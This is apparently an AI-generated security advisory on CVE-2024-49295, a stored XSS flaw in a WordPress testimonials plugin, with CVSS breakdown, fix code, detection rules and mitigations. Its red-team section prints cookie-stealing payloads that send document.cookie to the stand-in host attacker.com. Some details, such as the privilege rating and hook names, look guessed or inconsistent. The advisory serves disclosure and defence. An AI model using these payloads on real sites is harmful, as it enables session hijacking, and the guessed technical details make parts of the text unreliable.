CVE-2024-49295

Executive Summary

CVE-2024-49295 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Simple Testimonials Showcase by PressTigers, affecting versions up to and including 1.1.6. This flaw allows an authenticated attacker with at least contributor-level privileges to inject arbitrary web scripts into testimonial submissions. When an administrator or other user views the injected testimonial, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for sites using this plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site that has installed the Simple Testimonials Showcase plugin (version <= 1.1.6) is affected. Since no patch is available, site administrators must either remove the plugin, apply a manual workaround, or monitor for updates. The plugin is not an NPM, PyPI, Go, or Ruby package, but the same supply chain principles apply: the plugin's code is trusted by the WordPress ecosystem, and a malicious injection could compromise the entire site.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: High (PR:H) – Attacker needs contributor-level access or higher.
• User Interaction: Required (UI:R) – A user (e.g., admin) must view the malicious testimonial.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Some content modification possible.
• Availability Impact: Low (A:L) – Minor disruption possible.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature means that once injected, the payload persists and can affect multiple users. The lack of a patch increases the risk for unmaintained sites.

Deep Dive & Mechanics

The vulnerability lies in the simple-testimonials-showcase plugin's testimonial submission functionality. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database and later rendering it on the frontend. Specifically, the testimonial_content field (or similar) is not escaped or validated, allowing an attacker to inject HTML and JavaScript.

Attack Flow:

1. An authenticated user with contributor-level access submits a testimonial containing malicious JavaScript, e.g., <script>alert('XSS')</script>.
2. The plugin stores the raw input in the wp_posts table (or custom post type) without sanitization.
3. When an administrator or visitor views the testimonial (e.g., via a shortcode or widget), the stored script executes in their browser.
4. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses the_content filter or direct output without applying esc_html() or wp_kses() to the testimonial content. The WordPress core function sanitize_text_field() is not used, or the plugin relies on outdated escaping methods.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code to a hypothetical secure implementation.

Vulnerable Code (simplified):

// In a template or shortcode handler
echo $testimonial->post_content; // Direct output without escaping

Patched Code (recommended):

// Secure output using WordPress escaping functions
echo esc_html( $testimonial->post_content );
// Or for rich content (if needed), use wp_kses_post()
echo wp_kses_post( $testimonial->post_content );

The vulnerable code directly echoes the raw content from the database, allowing any HTML/JavaScript to be rendered. The patched version uses esc_html() to convert special characters to HTML entities, neutralizing script injection.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• WordPress site with Simple Testimonials Showcase plugin <= 1.1.6
• Attacker account with contributor-level privileges (or higher)
• Access to the testimonial submission form

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the testimonial submission page (e.g., /wp-admin/post-new.php?post_type=testimonial).
3. In the testimonial content field, inject a payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the testimonial.
5. Wait for an administrator to view the testimonial (e.g., via the admin panel or frontend shortcode).
6. The admin's browser executes the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual testimonial submissions containing <script>, <iframe>, or onerror attributes.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Review WordPress logs for suspicious post content.

Mitigation (Temporary):

• Disable the plugin until a patch is available.
• Apply a manual filter to sanitize testimonial content:

  add_filter( 'testimonial_content', 'wp_kses_post' );
  

• Restrict testimonial submission to trusted users only.

Lab Setup:

1. Install WordPress locally (e.g., using XAMPP or Docker).
2. Install Simple Testimonials Showcase plugin version 1.1.6.
3. Create a contributor account.
4. Submit a malicious testimonial as described above.
5. Observe the XSS execution when viewing the testimonial as admin.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to known malicious domains (e.g., attacker.com/steal.php)
  • Unusual Referer headers from the WordPress admin panel
• File IOCs:
  • Modified plugin files (e.g., simple-testimonials-showcase/templates/single-testimonial.php) containing suspicious code
• Database IOCs:
  • Rows in wp_posts with post_type = 'testimonial' containing <script> tags or base64-encoded JavaScript
• Log IOCs:
  • WordPress debug log entries showing PHP warnings related to testimonial_content
  • Web server access logs with POST requests to /wp-admin/post-new.php containing XSS payloads

Detection Engineering

YARA Rule

rule CVE_2024_49295_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Simple Testimonials Showcase plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-49295"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Simple Testimonials Showcase
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via testimonial content in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/post-new.php*'
        cs-uri-query: 'post_type=testimonial'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in testimonials (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49295 Stored XSS in Simple Testimonials Showcase"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post-new.php"; http_uri; content:"post_type=testimonial"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Apply a temporary patch by adding a filter to sanitize testimonial content:

   add_filter( 'the_content', function( $content ) {
       if ( get_post_type() === 'testimonial' ) {
           $content = wp_kses_post( $content );
       }
       return $content;
   });
   

3. Restrict user roles – Only allow trusted administrators to submit testimonials.
4. Monitor logs for any signs of exploitation.

Long-Term Fix:

• Wait for the vendor (PressTigers) to release an official patch.
• If no patch is forthcoming, consider replacing the plugin with an alternative that is actively maintained.
• Implement a Web Application Firewall (WAF) with XSS rules.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.